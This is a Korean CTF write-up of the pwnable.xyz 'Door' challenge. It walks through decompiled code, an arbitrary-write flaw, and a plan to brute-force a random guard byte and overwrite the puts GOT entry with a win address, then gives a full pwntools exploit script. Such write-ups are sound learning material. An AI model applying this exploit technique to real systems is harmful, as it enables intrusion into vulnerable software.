1. 문제
1) mitigation 확인
PIE와 RELRO가 안걸려있다.
2) 문제 확인
4개의 메뉴가 나온다. 1번으로 선택, 2번으로 Open, 3번으로 들어가기. 이상태에서는 잘 모르겠다. 코드를 봐보자
3) 코드 확인
- main() 함수
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax int v5; // [rsp+4h] [rbp-Ch] int v6; // [rsp+8h] [rbp-8h] setup(); puts("Door To Other RealmS"); v5 = 0; v6 = 0; door = rand(); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { print_menu(); v3 = read_int32(); if ( v3 != 2 ) break; if ( door ) { printf("Realm: ", argv); v6 = read_int32(); } } if ( v3 > 2 ) break; if ( v3 != 1 ) goto LABEL_17; if ( door == v6 ) { printf("Door: ", argv); v5 = read_int32(); printf("Realm: "); v6 = read_int32(); *(_DWORD *)v6 = v5; door = 0; } } if ( v3 != 3 ) break; if ( door && v6 ) *(_DWORD *)v6 = v5; } if ( v3 == 4 ) return 0; LABEL_17: puts("Invalid"); } }
메인에서 모든게 이루어진다. 초기에 v5,v6는 0이고, door에 랜덤값 4바이트 들어가있다. 1번 메뉴로직을 살펴보자.
- 1번 메뉴
if ( v3 != 1 ) goto LABEL_17; if ( door == v6 ) { printf("Door: ", argv); v5 = read_int32(); printf("Realm: "); v6 = read_int32(); *(_DWORD *)v6 = v5; door = 0; }
v6 값과 door 값을 비교한다. 두 값이 같으면 입력한 값(v5)을 v6에 넣을수 있다. 그리고 나서 door에 0을 넣는다.
- 2번 메뉴
if ( v3 != 2 ) break; if ( door ) { printf("Realm: ", argv); v6 = read_int32(); }
door에 값이 존재한다면, v6에다가 값을 넣는다
- 3번 메뉴
if ( v3 != 3 ) break; if ( door && v6 ) *(_DWORD *)v6 = v5;
door와 v6 값이 0이 아니라면, v5 값을 v6에 넣는다.
- 1번 메뉴
2. 접근방법
우선 v6=v5 를 이용하여 원하는 주소에 win함수를 넣으면 될 것이다. 그렇다면, v6과 v5에 원하는 값을 넣을수 있어야 하는데, 현재 2번 메뉴로 v6에 원하는 값을 넣을수 있다.
v5에만 값을 넣으면 되는데, 이는 1번 메뉴의 조건문을 통과해야만 한다. 그럴라면, door와 v6값이 같아야지만 하는데 2번 메뉴로 v6에 값을 넣는다 쳐도, door에는 랜덤값이 들어가있으므로 불가능하다. 이 조건문을 우회할라면 어떻게 해야할지 생각해보자.
초기에 v5에는 0이 들어가있으므로, 2번 메뉴로 입력한 주소 어디에도 v5 즉, 0을 넣을수 있다. 이를 이용해서 door가 담겨져 있는 주소를 v6에 담으면 된다. 단! 만약 door를 0으로 만든다면, 초기에 2번 메뉴를 통해 v6에 door의 주소가 들어가 있기 때문에 이상태에 1번 메뉴를 실행한다면, 조건에 맞지 않게 된다. ( door(0) != v6(door주소) )
따라서 door 하위 한바이트만 남기고 나머지 3바이트를 0으로 만들기 위해 door+1 주소를 v6에 넣고 door 값을 한바이트만 남긴다. 그런다음 2번 메뉴를 반복문으로 때려맞춘다음, 1번 메뉴를 실행시키면 된다.
시나리오
- 2번 메뉴를 실행시켜 door+1 주소 입력
- 3번 메뉴로 door+1 부분을 0으로 세팅
- 다시 2번 메뉴로 put got 상위 2바이트 주소를 입력
- 3번으로 put_got에 담긴 값 상위 2바이트에 0 삽입
- 2번 메뉴 → 1번 메뉴 실행을 반복해서 1번 조건에 만족할때까지 돌리기
- 1번 메뉴가 실행된다면, v5에 win 주소, v6에 got 주소를 입력
- 5번 메뉴를 입력하여 puts 함수 실행 (Invalid 어쩌구)
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30039)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xA21+$code\n')
#pause()
def menu2(value):
p.sendlineafter("> ","2")
p.sendafter("Realm: ",str(value))
menu2("6296133")
p.sendlineafter("> ","3")
menu2("6295580")
p.sendlineafter("> ","3")
for i in range(0,255):
menu2(i)
p.sendlineafter("> ","1")
#a=p.recvuntil("Door: ",timeout=1)
#log.info("==========================================="+str(a))
log.info(hex(i))
if 'Door' in p.recvuntil(':'):
p.send("4196713")
p.sendlineafter("Realm: ","6295576")
p.sendlineafter("> ","5")
p.interactive()
else:
log.info("!!!!!!!!!")
continue
4. 몰랐던 개념
- none
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] note v3 (0) | 2020.05.25 |
---|---|
[pwnable.xyz] world (0) | 2020.05.22 |
[pwnable.xyz] child (0) | 2020.05.19 |
[pwnable.xyz] Car shop (0) | 2020.05.18 |
[pwnable.xyz] words (0) | 2020.05.18 |